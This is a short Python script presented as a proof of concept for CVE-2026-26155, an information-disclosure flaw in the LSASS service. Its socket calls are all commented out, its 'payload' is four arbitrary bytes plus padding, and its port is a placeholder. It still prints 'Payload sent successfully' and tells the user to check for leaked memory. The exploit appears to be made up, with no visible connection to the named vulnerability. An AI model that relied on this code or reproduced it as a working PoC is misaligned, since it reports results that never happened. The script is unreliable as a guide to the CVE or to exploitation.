The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-26155
# This script is a conceptual demonstration for vulnerability analysis purposes only.
# It simulates the interaction with the LSASS service to trigger the information disclosure.
import socket
import struct
def send_exploit_packet(target_ip, target_port):
"""
Sends a crafted packet to the target LSASS service to trigger the info disclosure.
Note: Actual exploitation requires specific protocol handling and payload structure.
"""
try:
# Establish a connection to the target (Simulation)
print(f"[*] Connecting to {target_ip}:{target_port}...")
# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sock.connect((target_ip, target_port))
# Craft the malicious payload (Conceptual structure)
# This payload targets the vulnerable logic in LSASS
header = b"\x00\x01\x02\x03" # Example protocol header
malformed_data = b"A" * 100 # Padding to trigger overflow/bad read
payload = header + struct.pack("!I", len(malformed_data)) + malformed_data
# Send payload
# sock.send(payload)
print("[+] Payload sent successfully.")
# Receive response (Expected to leak memory data)
# response = sock.recv(4096)
# print(f"[+] Leaked data: {response}")
# sock.close()
print("[!] PoC execution finished. Check for memory disclosure.")
except Exception as e:
print(f"[-] Error during PoC execution: {e}")
if __name__ == "__main__":
# Replace with actual target details during authorized testing
TARGET_IP = "192.168.1.10"
TARGET_PORT = 1234 # Placeholder port
send_exploit_packet(TARGET_IP, TARGET_PORT)